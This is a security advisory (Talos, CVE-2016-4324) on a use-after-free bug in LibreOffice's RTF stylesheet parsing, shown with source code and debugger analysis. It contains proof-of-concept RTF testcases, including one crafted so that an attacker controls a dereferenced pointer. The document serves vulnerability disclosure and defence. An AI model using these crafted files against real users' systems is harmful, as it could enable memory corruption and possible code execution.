Talos Vulnerability Report

TALOS-2016-0126

The Document Foundation LibreOffice RTF Stylesheet Code Execution Vulnerability

June 27, 2016
CVE Number

CVE-2016-4324

SUMMARY

An exploitable Use After Free vulnerability exists in the RTF parser LibreOffice. A specially crafted file can cause a use after free resulting in a possible arbitrary code execution. To exploit the vulnerability a malicious file needs to be opened by the user via vulnerable application.

TESTED VERSIONS

The Document Foundation LibreOffice 5.0.4

PRODUCT URLs

https://www.libreoffice.org/download/libreoffice-fresh/

CVSSv3 SCORE

[6.3] - [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L]

DETAILS

LibreOffice is a popular open source office suite. An use after free vulnerability is present in the RTF parser of the lates release. The core of the vulnerability lies in the way documents containing both stylesheet and superscript tokens are parsed. A malformed document with \super token in top group causes the invalid parser operation. A minimal example testcase triggering the vulnerability is:

{\rtf1
  {\stylesheet {;}}
Hello world \super  hello
}

It can be observed that the token super (a keyword for supperscript text) is in outermost group while the stylesheet is in its own inner group. In an usual RTF document, superscript would be in an inner group too.

Looking at the code, for each new token a new parser state is pushed to the state stack:

 RTFError RTFDocumentImpl::pushState()
 {
     //SAL_INFO("writerfilter", OSL_THIS_FUNC << " before push: " << m_pTokenizer->getGroup());

     checkUnicode(/*bUnicode =*/ true, /*bHex =*/ true);
     m_nGroupStartPos = Strm().Tell();

     if (m_aStates.empty())
         m_aStates.push(m_aDefaultState);
     else
     {
         // fdo#85812 group resets run type of _current_ and new state (but not RTL)
         m_aStates.top().eRunType = RTFParserState::LOCH;

         if (m_aStates.top().eDestination == Destination::MR)
             lcl_DestinationToMath(*m_aStates.top().pDestinationText, m_aMathBuffer, m_bMathNor);
         m_aStates.push(m_aStates.top());
     }
     m_aStates.top().aDestinationText.setLength(0); // was copied: always reset!

It should be noted that variable m_aStates above is of type RTFStack which is a warper for STL deque container. In this specific case, the states are popped and subsequently freed in the popState method, specifically at line 5844:

 m_aStates.pop();
 m_pTokenizer->popGroup();

By observing the process under debugger, it can be observed that popState is called one time too many, leading to an access to an invalid pointer which eventually crashes the process at:

 writerfilter::Reference<Properties>::Pointer_t RTFDocumentImpl::getProperties(RTFSprms& rAttributes, RTFSprms& rSprms)
 {
     int nStyle = 0;
     if (!m_aStates.empty())
         nStyle = m_aStates.top().nCurrentStyleIndex;
     RTFReferenceTable::Entries_t::iterator it = m_aStyleTableEntries.find(nStyle);
     if (it != m_aStyleTableEntries.end())
     {
         RTFReferenceProperties& rProps = *static_cast<RTFReferenceProperties*>(it->second.get());

         // cloneAndDeduplicate() wants to know about only a single "style", so
         // let's merge paragraph and character style properties here.
         int nCharStyle = m_aStates.top().nCurrentCharacterStyleIndex; // crashes here

The invalid memory being dereferenced ultimately comes from a previously used chunk on the heap of size 0x50 which is allocated during one of the pushState calls:

 gdb$ bt
 #0  0xffffffff in void std::deque<writerfilter::rtftok::RTFParserState, std::allocator<writerfilter::rtftok::RTFParserState> >::_M_push_back_aux<writerfilter::rtftok::RTFParserState const&>(writerfilter::rtftok::RTFParserState const&) ()
     at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
 #1  0xffffffff in writerfilter::rtftok::RTFDocumentImpl::pushState() () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
 #2  0xffffffff in writerfilter::rtftok::RTFTokenizer::resolveParse() () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
 #3  0xffffffff in writerfilter::rtftok::RTFDocumentImpl::resolve(writerfilter::Stream&) () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
 #4  0xffffffff in RtfFilter::filter(com::sun::star::uno::Sequence<com::sun::star::beans::PropertyValue> const&) () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
 #5  0xffffffff in SfxObjectShell::ImportFrom(SfxMedium&, com::sun::star::uno::Reference<com::sun::star::text::XTextRange> const&) () at /opt/libreoffice5.0/program/libmergedlo.so
 #6  0xffffffff in SfxObjectShell::DoLoad(SfxMedium*) () at /opt/libreoffice5.0/program/libmergedlo.so
 #7  0xffffffff in SfxBaseModel::load(com::sun::star::uno::Sequence<com::sun::star::beans::PropertyValue> const&) () at /opt/libreoffice5.0/program/libmergedlo.so

A truncated callstack shows that the debugger is stopped inside a push_back method of the RTFStack deque.

 gdb$ x/10i $pc-5
    0xabc26224 <+192>: call   0xabbff5a0 <operator new(unsigned int)@plt>
 => 0xabc26229 <+197>: mov    edx,DWORD PTR [ebp-0x1c]
    0xabc2622c <+200>: add    esp,0xc
    0xabc2622f <+203>: mov    DWORD PTR [ebp-0x24],edx
    0xabc26232 <+206>: mov    ecx,eax
    0xabc26234 <+208>: mov    eax,edx
    0xabc26236 <+210>: sub    eax,edi
    0xabc26238 <+212>: shr    eax,1
    0xabc2623a <+214>: lea    edi,[ecx+eax*4]
    0xabc2623d <+217>: push   edi

Disassembly of at the breakpoint shows a call to a new operator which allocates an array of 18 unsigned ints. The heap chunk returned is in eax and can be observed to be in use:

 gdb$ x/x $eax
 0x873c200:     0xb5131968
 gdb$ x/x $eax-4
 0x873c1fc:     0x00000051

The chunk is located at 0x873c200 and is 80 bytes in size. This chunk is later freed in a popState call but it's content is ultimately accessed again just before the crash. The program crashes inside writerfilter::Reference<Properties>::Pointer_t RTFDocumentImpl::getProperties:

 Program received signal SIGSEGV, Segmentation fault.
 gdb$ x/3i $pc-8
    0xabc03898 <+156>:    call   0xabc1e6de <std::deque<writerfilter::rtftok::RTFParserState, std::allocator<writerfilter::rtftok::RTFParserState> >::back()>
    0xabc0389d <+161>:    add    esp,0xc
 => 0xabc038a0 <+164>:    mov    eax,DWORD PTR [eax+0x1c4]
 gdb$ i r eax
 eax            0x19 0x19
 gdb$ 

In the above debugger output, the process crashes due to a read access violation. Contents of register eax above come from the previous call to back:

 gdb$ disassemble 0xabc1e6de
 Dump of assembler code for function _ZNSt5dequeIN12writerfilter6rtftok14RTFParserStateESaIS2_EE4backEv:
    0xabc1e6de <+0>: push   ebp
    0xabc1e6df <+1>: mov    ebp,esp
    0xabc1e6e1 <+3>: mov    edx,DWORD PTR [ebp+0x8]
    0xabc1e6e4 <+6>: mov    eax,DWORD PTR [edx+0x18]
    0xabc1e6e7 <+9>: cmp    eax,DWORD PTR [edx+0x1c]
    0xabc1e6ea <+12>:     mov    ecx,DWORD PTR [edx+0x24]
    0xabc1e6ed <+15>:     jne    0xabc1e6f7 <std::deque<writerfilter::rtftok::RTFParserState, std::allocator<writerfilter::rtftok::RTFParserState> >::back()+25>
    0xabc1e6ef <+17>:     mov    eax,DWORD PTR [ecx-0x4]     [1]
    0xabc1e6f2 <+20>:     add    eax,0x1d4
    0xabc1e6f7 <+25>:     sub    eax,0x1d4
    0xabc1e6fc <+30>:     pop    ebp
    0xabc1e6fd <+31>:     ret    
 End of assembler dump.
 gdb$ x/x $ecx-4
 0x873c214:     0x00000019

In the above disassembly, the final value of eax ultimately comes from an address pointed at by ecx-4 [1] which actually points inside the previously freed chunk. Observe that the buffer is inside the chunk (chunk was at 0x873c200 and was 80 bytes) which has been allocated by another part of the code in the mean time.

Further memory layout control could potentially allow for more abuse and ultimately for code execution. By careful heap manipulation, a dereferenced pointer can be put under control which can be demonstrated by the following (shortened) testcase:

 {\rtf{\upr{\ud{\fonttbl{}}}}
      {\stylesheet
           {  Normal;}
      }
 \super a}AAAAAAA.....

Opening the above testcase in LibreOffice results in the same crash but with obvious control over the pointer:

 Program received signal SIGSEGV, Segmentation fault.
 [----------------------------------registers-----------------------------------]
 EAX: 0x41414141 ('AAAA')
 EBX: 0xabd6e460 --> 0x187244 
 ECX: 0x88595c8 --> 0x8810440 --> 0x880ff08 --> 0xabd69840 (:rtftok::RTFDocumentImpl+8>:   0xabc01cf6)
 EDX: 0x880ff48 --> 0x88595b0 --> 0xb5131870 --> 0x885bbc0 --> 0x0 
 ESI: 0xbfffd7d4 --> 0xabc1e74c (<std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count(std::__shared_count<(__gnu_cxx::_Lock_policy)2> const&)+14>:   add    ecx,0x14fd14)
 EDI: 0x88103e4 --> 0x0 
 EBP: 0xbfffd808 --> 0xbfffd898 --> 
 ESP: 0xbfffd79c --> 0xbfffd7bc --> 0x882d7b8 --> 0x1 
 EIP: 0xabc038a0 (<writerfilter::rtftok::RTFDocumentImpl::getProperties(writerfilter::rtftok::RTFSprms&, writerfilter::rtftok::RTFSprms&)+164>:   mov    eax,DWORD PTR [eax+0x1c4])
 EFLAGS: 0x210286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
 [-------------------------------------code-------------------------------------]
    0xabc03895 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+153>: mov    DWORD PTR [ebp-0x64],eax
    0xabc03898 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+156>: call   0xabc1e6de <std::deque::back()>
    0xabc0389d <writerfilter::rtftok::RTFDocumentImpl::getProperties()+161>: add    esp,0xc
 => 0xabc038a0 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+164>: mov    eax,DWORD PTR [eax+0x1c4]
    0xabc038a6 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+170>: mov    DWORD PTR [ebp-0x3c],eax
    0xabc038a9 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+173>: lea    eax,[ebp-0x3c]
    0xabc038ac <writerfilter::rtftok::RTFDocumentImpl::getProperties()+176>: push   eax
    0xabc038ad <writerfilter::rtftok::RTFDocumentImpl::getProperties()+177>: push   edi
 0xabc038a0 in writerfilter::rtftok::RTFDocumentImpl::getProperties() () from /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
 gdb$

Further process and memory state manipulation is needed to possibly turn this arbitrary read into code execution.

CRASH INFORMATION

 Program received signal SIGSEGV, Segmentation fault.
 0xabc038a0 in writerfilter::rtftok::RTFDocumentImpl::getProperties(writerfilter::rtftok::RTFSprms&, writerfilter::rtftok::RTFSprms&) () from /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
 Missing separate debuginfos, use: debuginfo-install libreoffice5.0-5.0.4.2-2.i586
 (gdb) exploitable
 Description: Access violation on source operand
 Short description: SourceAv (19/22)
 Hash: af3c01fefebc302b00a13ca8b7b6f323.5bf63181b180fb2d4e93814d425f662e
 Exploitability Classification: UNKNOWN
 Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation.
 Other tags: AccessViolation (21/22)
 (gdb) 

TIMELINE

2016-04-13 - Initial Vendor Contact
2016-06-27 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos